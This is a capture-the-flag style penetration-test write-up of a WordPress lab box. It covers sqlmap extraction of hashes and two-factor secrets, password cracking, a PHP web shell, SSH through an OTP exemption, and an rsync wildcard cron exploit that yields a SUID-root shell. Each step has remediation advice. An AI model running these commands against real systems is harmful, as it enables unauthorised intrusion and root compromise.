jperezduerto.info
Phoenix
Summary
I found a WordPress site running an outdated Asgaros Forum plugin whose unauthenticated SQL injection exposed the administrator's password hash and the encrypted secrets behind the site's two-factor login. Cracking the hash and decrypting the TOTP secrets with the key stored alongside them defeated the second factor and gave admin access. A vulnerable file-download plugin was then used to upload a PHP web shell, giving code execution as the web server user.
Database credentials found in the WordPress config led to a second cracked password, and a subnet-based exception in the SSH login policy let me reach that second account without needing a one-time code. From there, a root-owned cron job that ran an rsync command against a wildcard in a world-writable backup folder was abused to run my own script as root, creating a SUID-root shell and completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <decrypted_totp_secret>, <internal_subnet_ip> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Resolve the vhost before any web request.
$ echo "$TARGET phoenix.htb" | sudo tee -a /etc/hostsFull port sweep then service/version detection on the open ports.
$ nmap -p- --min-rate=1000 $TARGET && nmap -sCV -p22,80,443 $TARGETEnumerate WordPress plugins/themes/users.
$ wpscan --url https://phoenix.htb --disable-tls-checks --random-user-agent --enumerate at,ap,uFixPatch or remove the vulnerable Asgaros Forum pluginCritical
Exact commands 2
Targeted extraction only — never --dump against a blind injection, it is extremely slow.
$ sqlmap -u 'https://phoenix.htb/forum/?subscribe_topic=*' --dbms=mysql --technique=TB --level 3 --risk 3 --threads=10 --batch --keep-alive --hex --sql-query "select user_pass from wp_users where ID=1"Repeat for each 2FA-related meta_key the plugin stores; substitute the real column names found during recon.
$ sqlmap -u 'https://phoenix.htb/forum/?subscribe_topic=*' --dbms=mysql --technique=TB --level 3 --risk 3 --batch --keep-alive --hex --sql-query "select meta_value from wp_usermeta where meta_key='<2fa_plugin_secret_column>'"Exact commands 2
Crack the recovered phpass hash.
$ john --wordlist=rockyou.txt admin_hash.txtGenerate a valid 6-digit TOTP code once the plugin's stored secret/key pair has been decrypted.
$ oathtool --totp -b <decrypted_totp_secret>FixStop storing two-factor decryption keys alongside the secrets they protectCritical
Exact commands 1
Confirm RCE as wp_user through the planted shell.
$ curl -sk -G --resolve phoenix.htb:443:$TARGET --data-urlencode "cmd=id; hostname" "https://phoenix.htb/wp-admin/shell.phtml"FixPatch or remove the vulnerable file-download pluginCritical
Exact commands 3
Read the WordPress DB credentials off disk.
$ curl -sk -G --resolve phoenix.htb:443:$TARGET --data-urlencode "cmd=cat /srv/www/wordpress/wp-config.php" "https://phoenix.htb/wp-admin/shell.phtml"Dump and crack the remaining WordPress account hashes offline.
$ mysql -u wordpress -p -e 'select user_login,user_pass from wp_users'From the compromised web shell/host — connect over the internal interface that the PAM config exempts from the OTP check, using the cracked editor password.
$ ssh editor@<internal_subnet_ip>FixRemove the subnet-based exemption from SSH two-factor authenticationHigh
Exact commands 1
Prove context before reading the flag; real -> <user.txt>
$ id; hostname; cat /home/editor/user.txtExact commands 4
Run in the background to observe root-owned cron processes and their arguments.
$ ./pspy64 &Stage the payload script in the writable backup directory.
$ cd /backups && printf '#!/bin/bash\ncp /bin/bash /tmp/rb\nchmod 6755 /tmp/rb\n' > shell.sh && chmod 777 shell.shName a file so rsync's wildcard expansion treats it as the '-e bash shell.sh' remote-shell option, launching shell.sh when the root job next runs.
$ touch -- '-e bash shell.sh'Once the cron job fires (within ~3 minutes), use the SUID-root bash to get euid=0 and read the flag; real -> <root.txt>
$ ls -la /tmp/rb && /tmp/rb -p -c 'id; hostname; cat /root/root.txt'FixRemove the writable backup directory from root's wildcard rsync jobCritical
-- to stop option-injection, or script file selection with find -print0 instead of shell globbing.Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd |
| 443/tcp | http recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.